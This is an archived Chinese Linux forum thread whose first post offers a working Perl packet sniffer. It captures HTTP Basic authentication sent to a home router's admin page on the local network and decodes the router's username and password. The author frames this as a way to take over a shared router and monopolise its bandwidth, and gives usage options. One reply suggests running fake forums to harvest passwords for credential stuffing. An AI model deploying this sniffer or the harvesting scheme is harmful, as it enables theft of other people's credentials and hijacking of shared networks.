免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 16290 | 回复: 13
打印 上一主题 下一主题

获取宽带路由用户名密码 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-02-03 03:35 |只看该作者 |倒序浏览

  1. #!/usr/bin/perl -w
  2. #############################################
  3. #作者:Minuit
  4. #时间:2007年02月03日 星期六 01时23分09秒
  5. #文件名:base64_test.pl
  6. #描述:从局域网中获取宽带路由用户名密码(用BASE64编码解码)
  7. #############################################
  8. use strict;
  9. use vars qw($i %opts %base_encode64 %base_decode64 $dev $dst $port $pcap $err $filter $program $net $mask);
  10. use subs qw(usage encode decode);
  11. use Net::Pcap;
  12. use Carp;
  13. $i=0;
  14. %base_decode64=map{$_=>$i++}('A'..'Z','a'..'z','0'..'9','+','/','=');
  15. $i=0;
  16. %base_encode64=map{$i++=>$_}('A'..'Z','a'..'z','0'..'9','+','/','=');
  17. use Getopt::Std;
  18. getopts('i:d:p:h', \%opts);
  19. $opts{i} and $dev=$opts{i};
  20. $opts{d} and $dst=$opts{d};
  21. $opts{p} and $port=$opts{p};
  22. $opts{h} and usage($0);
  23. $SIG{INT}=sub {
  24.        Net::Pcap::close($pcap) if defined $pcap;
  25. };
  26. die "Must have (UID|EUID) == 0 to use $0\n" if $> || $<;
  27. $dst||="192.168.1.1";
  28. $port||="80";
  29. $filter="dst host $dst and dst port $port and tcp[13]&8==8";
  30. $dev||=Net::Pcap::lookupdev(\$err) or die "lookupdev:$err\n";
  31. $pcap=Net::Pcap::open_live($dev, 1024,1,0,\$err) or die "open_live:$err\n";
  32. Net::Pcap::lookupnet($dev,\$net,\$mask,\$err) and die "lookupnet:$err\n";
  33. Net::Pcap::compile($pcap,\$program,$filter,10,$mask) and croak "compile(): check string with filter";
  34. Net::Pcap::setfilter($pcap,$program);
  35. Net::Pcap::loop($pcap,0,\&recvpacket,"");
  36. sub recvpacket {
  37.         my($user_data, $header, $packet) = @_;
  38.        #解码
  39.         print decode($1),"\n" if($packet=~/Authorization[\s:]*Basic\s*?(\S*)\r\n/osg);
  40.     }

  41. sub decode {
  42.         chomp(my $str=shift);
  43.         my ($code,$res);
  44.         $str=~s/=$//;
  45.         map{$code.=substr unpack("B*",chr($base_decode64{"$_"})),2}unpack("A"x length $str,$str);
  46.         $res=join "",map{chr(oct("0b$_"))}unpack("A8"x int(length($code)/8),$code);
  47.                 ($res="User=$res")=~s/:/,Passwrod=/;
  48.                 $res;
  49. }
  50. sub encode {
  51.         chomp(my $str=shift);
  52.         my ($code,$res);
  53.        #先把base64编码后字符串分解然后变成二进制串再合并
  54.         $code=pack("A*",map{unpack("B*",$_)}split " ",$str);
  55.         #得到后的全部二进制串长度然后除6看有多少个6位为一组的串组数
  56.         my $klen=int(length($code)/6);
  57.         #以6位为一组串的多余部份
  58.         my $tlen=int(length($str)*8%6);
  59.          #多余部份不然6位以0填充
  60.         $klen++,$code.=substr("000000",$tlen) if $tlen;
  61.         #分解二进制串以6位为一组然后转换成base64对应的编码再连接成串
  62.         $res=join "",map{$base_encode64{oct("0b00$_")}}unpack("A6"x $klen,$code);
  63.         #如果填充了字节那就以等号结束
  64.         $res.=$tlen?'=':'';
  65. }

  66. sub usage {
  67.         print <<"EOF";
  68.        Usage:$0 [-idp] -i interface -d dstip -p dstprot
  69. EOF
  70. exit
  71. }
复制代码

有的朋友经常在局域网里被人用网络执法官一类的工具整吧,然后用很多种办法(例如mac绑定,还有和他对着用等等方法最后大家都上不成)都不是很有效
对付这类工具最直接的办法就是控制路由器然后自己找一个没人想得到的网段改一下然后把自己主机改成相同网段那就OK了现在所有带宽都为你所用很爽吧
那怎么控制呢显然是获得路由器的用户名密码
说一下原理
一般的宽带路由器(并非像cisco那样庞大的玩意只是一般的家用路由)差不多都是用web管理进行配置的而它的验证方式也是用简单的http认证用的编码算法是base64码
所以只需对它简单的解码就可以得到路由器的用户名密码了
base64编码规则是把所有8位二进制以6位为一组,然后对每6位前面加两个0组成新的8位为一组.然后根据base64编码表,一一对换如果出现多余部份不足6位就在后面加0接着根据前面规则在6位前加两个0然后尾部加上等号(这是根据我自己理解可能不是很正确)
http 验证是给用户发用一401代码让用户接受检验在这里我们用不着管服务器端
当服务器通知客户端要验证时客户端会出现一个小对话框,这个程序就是在用户提交用户信息时开始做自己的事情的
在提交信息里面有一个Authorization的选项就是带上客户的用户名和密码这个程序就是根据这个字段来获得的然后对它进得解码
编码就不讲了我们只用到解码说一下用法
-i 指定监听接口(默认:随便一个接口一般是eth0)
-d 路由器地址(默认:192.168.1.1)
-p 路由器web管理端口(默认:80)
还有一点有的宽带路由器可能不同所以方法会用一点小的改变,或者你把编过码的串用上面的函数手动的给解一下就行了^_^
上面的两个函数效率很低但一般用在小路由器上还是OK的但是别用在文件上编码上如果想自己写建议用vec函数来实现
有什么不正确的地方欢迎拍砖^_^


如果要考虑解码效率可以看看C 版本解码函数,你也可以转成perl模块MIME::Base64应该也是从C函数转过来的吧
http://bbs.chinaunix.net/viewthread.php?tid=895790&extra=page%3D1

[ 本帖最后由 lovesaka 于 2007-2-5 02:10 编辑 ]

抓图4.png (40.12 KB, 下载次数: 124)

成功获得密码

成功获得密码

论坛徽章:
0
2 [报告]
发表于 2007-02-03 10:26 |只看该作者
这个技术一般
我以前想的比你高明多了
因为目前很多人在不同的论坛或是站点(比如cu,天涯,gmail,163,chinaren)的帐号差不多都是同样的密码
这些网站肯定无法得到对应帐号密码的
但是一些小的论坛(用有bug的bbs的版本,或是自己开个论坛)然后收集帐号和密码
再去尝试用这些帐号和密码去尝试大型的站点。
我直接从人性,心理学角度分析,因为现在很多人恐怕不会做到一个网站一个帐号不同密码!

论坛徽章:
0
3 [报告]
发表于 2007-02-03 10:59 |只看该作者
--

不错

说实话,打看到你这标题我就差不多猜到了下面一行:

use Net:: Pcap;

--

论坛徽章:
0
4 [报告]
发表于 2007-02-03 11:00 |只看该作者
原帖由 helbreathszw 于 2007-2-3 10:26 发表
这个技术一般
我以前想的比你高明多了
因为目前很多人在不同的论坛或是站点(比如cu,天涯,gmail,163,chinaren)的帐号差不多都是同样的密码
这些网站肯定无法得到对应帐号密码的
但是一些小的论坛(用有bug的bbs的版本,或是自己开个论坛)然后收集帐号和密码
再去尝试用这些帐号和密码去尝试大型的站点。
我直接从人性,心理学角度分析,因为现在很多人恐怕不会做到一个网站一个帐号不同密码!  


恐怕这就是非技术作战了。一个从技术,一个从心理学,呵呵。

--

论坛徽章:
0
5 [报告]
发表于 2007-02-03 18:13 |只看该作者
原帖由 helbreathszw 于 2007-2-3 10:26 发表
这个技术一般
我以前想的比你高明多了
因为目前很多人在不同的论坛或是站点(比如cu,天涯,gmail,163,chinaren)的帐号差不多都是同样的密码
这些网站肯定无法得到对应帐号密码的
但是一些小的论坛(用有bug的b ...

NB自己开论坛做龌磋事,看来你天生是被BS的^_^
写这个不是鼓励大家做龌磋事,而是为了学习和研究网络知识的

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
6 [报告]
发表于 2007-02-03 18:28 |只看该作者
原帖由 lovesaka 于 2007-2-3 18:13 发表

NB自己开论坛做龌磋事,看来你天生是被BS的^_^
写这个不是鼓励大家做龌磋事,而是为了学习和研究网络知识的

龌龊

论坛徽章:
0
7 [报告]
发表于 2007-02-03 18:29 |只看该作者
use MIME::Base64;比较快

论坛徽章:
0
8 [报告]
发表于 2007-02-03 18:34 |只看该作者
原帖由 langue 于 2007-2-3 10:59 发表
--

不错

说实话,打看到你这标题我就差不多猜到了下面一行:

use Net:: Pcap;

--

^_^
本来是想用Net::RawIP的后来想了想Net::RawIP只不过把pcap做成了类
把大部份函数合并了一下做成单个调用,还有它须要对一些东西初始化这些我用不着而且又麻烦就用Net:cap实在些
对了这个模块是要在cpan下载的忘记说了

论坛徽章:
0
9 [报告]
发表于 2007-02-03 18:41 |只看该作者
原帖由 大大狗 于 2007-2-3 18:28 发表

龌龊

经常打错字,大家能看得懂就行了
use MIME::Base64;比较快

同意

论坛徽章:
1
2015年辞旧岁徽章
日期:2015-03-03 16:54:15
10 [报告]
发表于 2007-02-03 21:47 |只看该作者
我注册小论坛时用的口令都是及其简单的口令。
只有我信得过的论坛我才会用比较隐秘的口令。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP